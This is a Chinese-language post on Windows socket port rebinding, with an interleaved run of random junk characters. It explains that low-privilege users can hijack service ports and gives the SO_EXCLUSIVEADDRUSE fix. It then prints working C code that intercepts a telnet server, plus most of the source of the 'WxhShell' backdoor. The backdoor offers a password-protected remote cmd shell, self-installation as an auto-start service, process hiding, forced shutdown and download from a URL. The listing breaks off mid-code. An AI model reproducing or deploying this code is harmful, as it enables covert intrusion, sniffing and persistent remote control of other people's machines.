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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: mJ<`/p?: s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 0~RD@>] 1]=X saddr.sin_family = AF_INET; )GVTa4}p NN'pBUR saddr.sin_addr.s_addr = htonl(INADDR_ANY); Bh=t%#y|` 81y<Uz 6 bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); zX*5yNd v LN KX;9 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 rD <T H%Vf$1/TF 这意味着什么?意味着可以进行如下的攻击: duEXp]f! J?m/u6 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 KMy"DVqE ynM~&]fk#k 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) rrRv 7J&Q 5?` 4qSUz 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 V?
tH/P LJ@(jO{z 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 +`Q]p "G "Tser*i ) 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 2@Yu:|d4U 3GE;:;8B 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 eEVB '9WTz(0? 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Yl&[_
l p1d%&e #include SJP3mq/^K #include }hg=#* #include myX&Z F_9 #include D8,8j; DWORD WINAPI ClientThread(LPVOID lpParam); V;SV0~& int main() [XI:Yf { bi+M28m WORD wVersionRequested; aQL0Sj:, DWORD ret; :$K=LV#Iru WSADATA wsaData; A+Isk{d BOOL val; td%J.&K_*' SOCKADDR_IN saddr; Pd&KAu|<` SOCKADDR_IN scaddr; D`^wj FF int err; M&/4SVBF SOCKET s; 9yTdbpY SOCKET sc; tKUW int caddsize; yW'{Z]09 HANDLE mt; [Lje?M* r DWORD tid; ](R
/4 wVersionRequested = MAKEWORD( 2, 2 ); e< @$(w err = WSAStartup( wVersionRequested, &wsaData ); PRiE2Di2S if ( err != 0 ) { BZ.l[LMp printf("error!WSAStartup failed!\n"); ${z#{c1 return -1; MMKN^a"GA } sjLMM_' saddr.sin_family = AF_INET; OW};i| meV Z_f/ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 +%9Re5R ]QJ5JtD- saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 7c(j1:Ku- saddr.sin_port = htons(23); s) s9Z,HY if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) p:nl4O/ { z{Yfiv\-r printf("error!socket failed!\n"); H[?S*/n,< return -1; p%*s3E1.D } Sw E7U~ val = TRUE; X);'[/]E* //SO_REUSEADDR选项就是可以实现端口重绑定的 SW}Rkr\e if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) /_J{JGp9 { rWJ5C\R
printf("error!setsockopt failed!\n"); o?/H<k\5 return -1; `]l`t"x } B<BS^waU //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 0/DO"pnL@ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Ng;?hT w //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ~Sb)i f g#74c'+ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) REU&8J@k&? { fWA#n ret=GetLastError(); >F7HKwg}Z printf("error!bind failed!\n"); H%l-@::+$ return -1; C;:=r:bth } (=u!E+N listen(s,2); bnkZWw'9 while(1) \36 G``e { A/a=)su caddsize = sizeof(scaddr); }[|9vF"g.y //接受连接请求 L7<30"7 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); `-U?{U}H if(sc!=INVALID_SOCKET) 6B@e[VtG$ { Xe&9|M mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); %`s#p` Ol1 if(mt==NULL) R%n*wGi_6b { ?QFxds printf("Thread Creat Failed!\n"); "9[2vdSX break; ,OwTi:yDr } ]SAY\;,_ } qm/>\4eLt CloseHandle(mt); +@fEw } B2$cY;LH closesocket(s); sM)1w- WSACleanup(); :!t4.ko return 0; |H5GWZ
O{^ } TtrO _D DWORD WINAPI ClientThread(LPVOID lpParam) Ms5qQ<0v_ { $s1/Rmw SOCKET ss = (SOCKET)lpParam; Q}\\0ajS) SOCKET sc; q,7W,<- unsigned char buf[4096]; whw+ SOCKADDR_IN saddr; m.ka%h$ long num; Q'=7#_ DWORD val; gp$]0~[tO DWORD ret; 0OG
3#pE //如果是隐藏端口应用的话,可以在此处加一些判断 *[
0,QEy //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 71E~~ $ saddr.sin_family = AF_INET; 0s//&'*Q saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Yg5o!A saddr.sin_port = htons(23); o`QH8 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) I*f@^( { >3b<
Fq$ printf("error!socket failed!\n"); '$p`3Oqi return -1; 56kqG}mg& } 'W9[Vm val = 100; qF(i1# if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) sd+_NtH { =pmG.>Si ret = GetLastError(); 4s%zvRu return -1; g*FHZM*N9 } E|-5=!]fX if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) nnBS;5 { JP"#9f ret = GetLastError(); #"r_ 3 return -1; HhCFAq"j } KY<
$+/B! if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) $$p +~X { @b 17jmq{ printf("error!socket connect failed!\n"); D,p2MBr closesocket(sc); 1jKj'7/K closesocket(ss); $; _{|{Yj return -1; r@i)Sluf } zobFUFx while(1) P}Mu|AEG { a(fiW%eFb //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Vr&
GsT //如果是嗅探内容的话,可以再此处进行内容分析和记录 >mvE[iXRG? //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 46
0/eW\ num = recv(ss,buf,4096,0); gGCr~.5 if(num>0) P5G0fq7 send(sc,buf,num,0);
Rq2bj_ j else if(num==0) h*<`ct xL break; nt&%
sM-X num = recv(sc,buf,4096,0); `%Kj+^|DS if(num>0) 5G2ueRVb send(ss,buf,num,0); qh}+b^Wi else if(num==0) =v?V break; :rufnmsP<U } !W&|kvT^ closesocket(ss); U74L:&yLI closesocket(sc); 9_svtO ]P return 0 ; @S~n^v,) } F&7Z( krlebPs[ &09~ D8f' ========================================================== 3zfiegY@wm ?G9DSk?6%Z 下边附上一个代码,,WXhSHELL *b{Hj'H aH 01
+#2~S ========================================================== 8(NS;? =kq<J-:#R #include "stdafx.h" beYGP ,=@WE>ip #include <stdio.h> d8
v9[4 #include <string.h> V$$9Rh #include <windows.h> <ldArZ4C4 #include <winsock2.h> 07(LLhk@d #include <winsvc.h> $Sm iN'7; #include <urlmon.h> uJ1oo| sn u@Ni *)p` #pragma comment (lib, "Ws2_32.lib") 1:DA{ejS #pragma comment (lib, "urlmon.lib") 4Rp[>}L ESIeZhXVH #define MAX_USER 100 // 最大客户端连接数 sy(bL_% #define BUF_SOCK 200 // sock buffer `\ nKPj #define KEY_BUFF 255 // 输入 buffer :SMf
(E 5 1z,P"?Q #define REBOOT 0 // 重启 Um-Xb'R*]V #define SHUTDOWN 1 // 关机 +Swl$ab F2(^OFh #define DEF_PORT 5000 // 监听端口 cF9ZnT. 4},Y0 QXw #define REG_LEN 16 // 注册表键长度 p@DVy2,EY #define SVC_LEN 80 // NT服务名长度 y^X]q[-? 8c%N+E] // 从dll定义API \G/ZA) t typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); A2PeI"y typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 8 f~M6 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ':\bn:; typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $K\;sn; |: $S?xB$ // wxhshell配置信息 md9JvbB struct WSCFG { 4/SltWU int ws_port; // 监听端口 E.*wNah"U char ws_passstr[REG_LEN]; // 口令 6khm@}} int ws_autoins; // 安装标记, 1=yes 0=no W8]?dL}| char ws_regname[REG_LEN]; // 注册表键名 Qe9}%k6@E char ws_svcname[REG_LEN]; // 服务名 F5UHkv"K&O char ws_svcdisp[SVC_LEN]; // 服务显示名 [
f<g?w char ws_svcdesc[SVC_LEN]; // 服务描述信息 4w 7vgB char ws_passmsg[SVC_LEN]; // 密码输入提示信息 .",BLuce int ws_downexe; // 下载执行标记, 1=yes 0=no `'(@"-L:7 char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe"
6|6O|
<o char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $`C$|9S cI7a TLC"s }; }LWrtmc %f&Bt,xEo // default Wxhshell configuration ^s=F<_{ struct WSCFG wscfg={DEF_PORT, ^6CPC@B1 "xuhuanlingzhe", axXR-5c 1, ;'!h(H "Wxhshell", r24
s_ "Wxhshell", kMa|V0 "WxhShell Service", 9(a*0H "Wrsky Windows CmdShell Service", +).=}.k "Please Input Your Password: ", (r<F@)J 1, }g 2l
ni " http://www.wrsky.com/wxhshell.exe", G"
(ck4 "Wxhshell.exe" *li5/=UC5* }; +&1#ob"6lq -)ri,v{:c // 消息定义模块 .b2%n;_>. char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 'Ze&
LQ char *msg_ws_prompt="\n\r? for help\n\r#>"; bg|=)sw4 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; \w$e|[~ char *msg_ws_ext="\n\rExit."; !83 N#Y_Mz char *msg_ws_end="\n\rQuit."; etb#/L char *msg_ws_boot="\n\rReboot..."; '
#t1e] char *msg_ws_poff="\n\rShutdown..."; JQ]MkP char *msg_ws_down="\n\rSave to "; [#:yOZt `;Fs char *msg_ws_err="\n\rErr!"; sY}0PB char *msg_ws_ok="\n\rOK!"; dr"@2=Z D_w<igu!3 char ExeFile[MAX_PATH]; `V[ hE
r| int nUser = 0; q^[SN HANDLE handles[MAX_USER]; THwq~c' int OsIsNt; PXDJ[Oj7(0 ,;=is.h9 SERVICE_STATUS serviceStatus; RHt~:D3* SERVICE_STATUS_HANDLE hServiceStatusHandle; BJZGQrsz eTtiAF=bW // 函数声明 p|)j{nc int Install(void); gF~
} int Uninstall(void); 0}Qd int DownloadFile(char *sURL, SOCKET wsh); C*Y0GfW= int Boot(int flag); _oU~S$hO void HideProc(void); cyI:dvg
int GetOsVer(void); WD7T&i int Wxhshell(SOCKET wsl); g3(?!f void TalkWithClient(void *cs); ugW.nf*O int CmdShell(SOCKET sock); !ZN"(0#qz int StartFromService(void); +ldgT" int StartWxhshell(LPSTR lpCmdLine); aSSw>*?Q A6Wtzt2i VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); z&|sks7 VOID WINAPI NTServiceHandler( DWORD fdwControl ); rAu@`H? \#'m([<e // 数据结构和表定义 xl@ SERVICE_TABLE_ENTRY DispatchTable[] = wA%,_s/U { 0t00X/ {wscfg.ws_svcname, NTServiceMain}, .YIb ny1 {NULL, NULL} -s:NF;" }; UO>S2u /.1h_[K] // 自我安装 O~F8lQ int Install(void) %e=UYBj" { l]P3oB}Yo char svExeFile[MAX_PATH]; ?uE@C3 e HKEY key; 1ZfhDtK( strcpy(svExeFile,ExeFile); -s6;IoG/ 1,sD'iNb // 如果是win9x系统,修改注册表设为自启动 @0%^\Qf2 if(!OsIsNt) { x#tP)5n?s* if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &PEw8: TX RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); eJZt&|7N RegCloseKey(key); )G$0:-J- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { M7AUY#) RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !r_2b! dy RegCloseKey(key); t. kOR< return 0; myWa>Mvb } :YN,cI d* } GEfTs[ } '$be+Z32 else { )u5+<OG}= PPj0LFA // 如果是NT以上系统,安装为系统服务 f.u+({"ql SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); :]IYw!_-p if (schSCManager!=0) _i1x\Z~
N { kT{d pGU9 SC_HANDLE schService = CreateService ~@ hiLW ( }tH6E schSCManager, _WHGd&u wscfg.ws_svcname, g h&,U` wscfg.ws_svcdisp, #j${R={ SERVICE_ALL_ACCESS, C?VNkBJ>\ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , F%q}N,W SERVICE_AUTO_START, *Q2}Qbu SERVICE_ERROR_NORMAL, Ceak8#|4 svExeFile, M!b"c4|< NULL, =(>pv, NULL, p3{ 3[fDx NULL, mA']*)L1 NULL, I> 3]VRi NULL p EbyQ[ ); S9S%7pE if (schService!=0) .t|B6n! { VpmD1YSn CloseServiceHandle(schService); G>c:+`KS CloseServiceHandle(schSCManager); CN<EgNt1kN strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); i@#fyU)[G strcat(svExeFile,wscfg.ws_svcname); $"]*,=-X if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { AtW<e;!0te RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); y j C@ RegCloseKey(key); S-KHot ? return 0; >-Q=o,cl%3 } A"~4|`W } L)j<;{J/Q0 CloseServiceHandle(schSCManager); MFm2p?zPm } !%%(o%bi~ } K-drN)o +OC~y: return 1; q`^T7 } q <Zza k'JfXrW<! // 自我卸载 =-|,v* int Uninstall(void) |jE0H!j { 8P3"$2q HKEY key; ua>YI a EmLf if(!OsIsNt) { ,fW%Qv if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { C{8(ew RegDeleteValue(key,wscfg.ws_regname); z1 P=P%F RegCloseKey(key); rRzc"W}K+ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ov PTgiI!N RegDeleteValue(key,wscfg.ws_regname); "s5[w+,R RegCloseKey(key); ,$<="kJk return 0; rWB/#m } Dk`(Wgk2 } r:Rk!z* } Ea\Khf]2 else { 1A.e cv' IG=# 2 /$ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); +1=]93gP if (schSCManager!=0) 2Bg0
M { L:E?tR}H SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); eT6T@C]( if (schService!=0) _/`H<@B_U { 5|0} if(DeleteService(schService)!=0) { UCVdR<<Z CloseServiceHandle(schService); #1oyRD- CloseServiceHandle(schSCManager); 5'zD}[2 return 0; ErXzKf } r>ca17 CloseServiceHandle(schService); #cy;((z uB } )7s(]~z CloseServiceHandle(schSCManager); U/l3C(bc! } }*9mNE } \olYv!f dNfME*"yN return 1; 38l 8n. } kx31g,cf]w 'sT7t&v~ // 从指定url下载文件 FEwPLViso int DownloadFile(char *sURL, SOCKET wsh) ;"Q.c#pA$g { @m+2e C77 HRESULT hr; %29lDd(< char seps[]= "/"; \qj(`0HG char *token; SM8Wg> char *file; |Pj]sh[^Y char myURL[MAX_PATH]; AD^Q`7K?uR char myFILE[MAX_PATH]; c$#7Kp4 -#<AbT strcpy(myURL,sURL); rK} =<R token=strtok(myURL,seps); 3P2x%G p while(token!=NULL) C
5
xsh { Q.Xs%{B file=token; r:-,qy token=strtok(NULL,seps); I )wc&>Lc } BH\!yxK m;@8z[
^5 GetCurrentDirectory(MAX_PATH,myFILE); f1,VbuS9I strcat(myFILE, "\\"); eNc>^:&y* strcat(myFILE, file); ^2)<H7p send(wsh,myFILE,strlen(myFILE),0); xh|<`>5 send(wsh,"...",3,0); 9mRP%c#( hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); KIXp+Z if(hr==S_OK) Ssg1p#0J return 0; bAS/cuZs else [2\jQv\Y return 1; }^tW's8 B3g#) } 8$`$24Wx ^n~bx*f // 系统电源模块 1'4?}0Dok int Boot(int flag) )/cf% { [D_s`'tg HANDLE hToken; hh7unHt- TOKEN_PRIVILEGES tkp; (bp4ly^ JBk >|q" if(OsIsNt) { ^aR^M\38 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); []b=
xRJM LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); T7R,6qt tkp.PrivilegeCount = 1; r%\%tz'`j
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; %i5tf;x6i AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); $q*hE&x
Qd if(flag==REBOOT) { C8t;E` if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) I_\?w SNGM return 0; =M9;`EmC } A"i$.dR{ else { MnTJFo" if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) R@~=z5X(Q return 0; h,|. qfUk } 7A"v:e } z9Nial`p else { 4@r76v}{ if(flag==REBOOT) { c"lblt5 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) {R8)DK
return 0; e?_uJh" } \=uD)9V else { .H
9r_ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) o@sL/5, return 0; #Q` TH< } +vt?3i\^. } {H3B1*Dk i F \H return 1;
Ruv`yfQ } )~-r&Q5d O-&^;]ieJ // win9x进程隐藏模块 ]w_JbFmT void HideProc(void) (;9j#x { =$SvKzN V 5D8z HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); W:>XXUU if ( hKernel != NULL ) yT|44
D2j { N qS]dH61 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); r;_*.|AH ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9AJ"C7 FreeLibrary(hKernel); K57u87=*X? } MU:q`DRr i} 5M'~F return; 4JRQ=T|P7I } zZ 94_8b 08+\fT [ // 获取操作系统版本 Y<h6m]H int GetOsVer(void) L~Y^O`c { jo'
V.]\ OSVERSIONINFO winfo; o .*t winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); f7/M _sx GetVersionEx(&winfo); OlP1Zd/l if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) q$PO.# return 1; {F;"m&3Lt else i0F6eqe=J return 0; Qs ysy } j'`-3<k KW!+Ws // 客户端句柄模块 Nq1YFI>W int Wxhshell(SOCKET wsl) ,P%i%YPj { hP}-yW6] SOCKET wsh; -S#jOr struct sockaddr_in client; 3_8W5J3I DWORD myID; Qb|@DMq% \k{d'R#~( while(nUser<MAX_USER) Mm;[f'{M) { 3&6sQ-}* int nSize=sizeof(client); \5}*;O@ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); _2hZGC%&E if(wsh==INVALID_SOCKET) return 1; @z^7*#vQv ~G1B}c] handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ~OWpk)Vq if(handles[nUser]==0) |K" nSXzk closesocket(wsh); DMOP*;Uk else p-xG&CU nUser++; +8Y|kC{9" } g7{:F\S WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); dQ_hlx!J (|>rDk; return 0; izzX$O[=: } Tgl > PS8^= // 关闭 socket
AH-BZ8 void CloseIt(SOCKET wsh) U>sEFzBup { eD8e0
D'S closesocket(wsh); gVrfZ&XF84 nUser--; !hjF"Pa ExitThread(0); KciN"g|X } Ckc5;:b&m kj6H+@
{ // 客户端请求句柄 #lO ^PK void TalkWithClient(void *cs) [=",R&uD$ { A/{!w"G p[&b@U# SOCKET wsh=(SOCKET)cs; oJQ
\?~ char pwd[SVC_LEN]; vqZBDQ0 char cmd[KEY_BUFF]; t)= dKC char chr[1]; $+PyW(
r int i,j; ?L0 |$#Iw J=&}$ while (nUser < MAX_USER) { P| hwLM *s<cgPKJ@ if(wscfg.ws_passstr) { G1\F7A if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); FmhAUe //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V(8,94vm //ZeroMemory(pwd,KEY_BUFF); j^WYMr, i=0; j+rY while(i<SVC_LEN) { t1G__5wp M|Nh(kvH // 设置超时 9kB R /{ fd_set FdRead; A!Tm[oqu struct timeval TimeOut; *(qj!U43 FD_ZERO(&FdRead); zXU
g( xu FD_SET(wsh,&FdRead); @vB-.XU TimeOut.tv_sec=8; jz]}%O TimeOut.tv_usec=0; ahQY-%> int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 4j8$&~/ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); rNurzag 1xu~@v60 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]s!id[j pwd =chr[0]; 94^b"hU if(chr[0]==0xd || chr[0]==0xa) { 7&D)+{g pwd=0; "0,FB4L[U5 break; c2Exga_ } )iZU\2L i++; c&N;r|N } L|L|liWd #kh:GAp] // 如果是非法用户,关闭 socket KMK8jJ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); |f/Uzd ~ } VN(*m(b t{QQ;' send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); O#t[YP send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); dPbn[*: #6v357-5 while(1) { ^d@2Y0hH tRO=k34 ZeroMemory(cmd,KEY_BUFF); Zw _aeJ KCAV // 自动支持客户端 telnet标准 #C~ </R% j=0; c*]f#yr? while(j<KEY_BUFF) { g cB
hEw if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^b|I^TN0 cmd[j]=chr[0]; =<7z
:] if(chr[0]==0xa || chr[0]==0xd) {
2W`WOBz cmd[j]=0; Xs# _AX break; JWYe~ } cy)-Rfg j++; ![nL/ } S;jD@j\t& #p7gg61 // 下载文件 1X7GM65# if(strstr(cmd,"http://")) { tC(Ma I send(wsh,msg_ws_down,strlen(msg_ws_down),0); p2k`)=iX if(DownloadFile(cmd,wsh)) "}#%h&, send(wsh,msg_ws_err,strlen(msg_ws_err),0); \*'@F+ else TLp2a<Iy send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a
DXaQ } O!^ >YvOh else { KeRC8mYp xm1' switch(cmd[0]) { K~2sX>l j*[P\Cm // 帮助 v+[S${ case '?': { !>D[Y send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ZNM9@;7 break; }mzd23^W>P } idGn{f((f // 安装 s^SU6P/] case 'i': { =.&8ghJ*M if(Install()) K*{RGE send(wsh,msg_ws_err,strlen(msg_ws_err),0); I>JE\## ^n else rsLkH&aM send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PH%'^YAl7 break; MG~Z)+g=y } Rd5-ao4 // 卸载 EI7n|X
a1q case 'r': { [3s-S+n
@ if(Uninstall()) p5tb=Zg_ send(wsh,msg_ws_err,strlen(msg_ws_err),0); (QL:7 else S9]I[4 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~]QQaP break; f6yj\qq] } cm_5,wB(w // 显示 wxhshell 所在路径 &P>& T case 'p': { !02y'JS1 char svExeFile[MAX_PATH]; aL*MC gb' strcpy(svExeFile,"\n\r"); [Eccj`\e g strcat(svExeFile,ExeFile); ep?D;g send(wsh,svExeFile,strlen(svExeFile),0); IW&*3I<K break; 0ju-l=w } LU+SuVm // 重启 jex\5 case 'b': { WW{_D send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); '*65j if(Boot(REBOOT)) dKCl#~LAI' send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3)ox8,{%} else { 7<*0fy5n n closesocket(wsh); _z8"r& ExitThread(0); VFx[{Hy } li
v=q break; /*{'p!? } |>.MH // 关机 @'):rFr@F case 'd': { 3<"j/9;K' send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @&`^#pok if(Boot(SHUTDOWN)) OylUuYy~j send(wsh,msg_ws_err,strlen(msg_ws_err),0); yj#FO'UY else { ybqmPT'|_ closesocket(wsh); d'ZB{'[8p ExitThread(0); /;d 5p } x {Utf$| break; nOd;Zw } XHj%U // 获取shell JbL3/h] case 's': { Dy,MQIM|! CmdShell(wsh); 8s2y!pn7Q closesocket(wsh); U5wh( vi ExitThread(0); O/FI>RT\H break; [j5+PV } :wXiz`VH // 退出 #::+# G case 'x': { 6H:
fg send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,b - CloseIt(wsh); Anu: break; 7gN;9pc$ } pZopdEFDK| // 离开
m (MQ case 'q': { 5,##p"O( send(wsh,msg_ws_end,strlen(msg_ws_end),0); -dO8Uis$ closesocket(wsh); q4w]9b/ WSACleanup(); p+|8(w9A${ exit(1); A+8)VlE\ break; ;$zvm`|: } .Z'NH
wCy } \wsVO"/ } NQ;X|$!zH 97\K ]Tr // 提示信息 p7-\a1P3 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]r3/hDRDL@ } Qs
za,09 } Y:O|6%00Y %a
WRXW@c return; %LP4RZ } , +J)`+pJx k<Gmb~Tg1 // shell模块句柄 AVw oOvJ int CmdShell(SOCKET sock) i0/QfB%O { b way+lh STARTUPINFO si; @@U ZeroMemory(&si,sizeof(si)); f~\H|E8( si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; w^
z ftm si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; :%J;[bS+ PROCESS_INFORMATION ProcessInfo; \By_mw char cmdline[]="cmd"; 9v`sSTlSd CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <(@S;?ZEW return 0; 8Cp@k= } 5NUaXQ O2ktqAWx@ // 自身启动模式 >I5Wf/$ int StartFromService(void) J-'XT_k:iM { J/K~8sc typedef struct Q"u2< { &.DRAD) DWORD ExitStatus; 7r'_p$ DWORD PebBaseAddress; rf|Nu3AJ DWORD AffinityMask; VFZ?<m DWORD BasePriority; ,M?8s2? ULONG UniqueProcessId; u8KQV7E ULONG InheritedFromUniqueProcessId; Dt[+HCCY: } PROCESS_BASIC_INFORMATION; -.?
@f
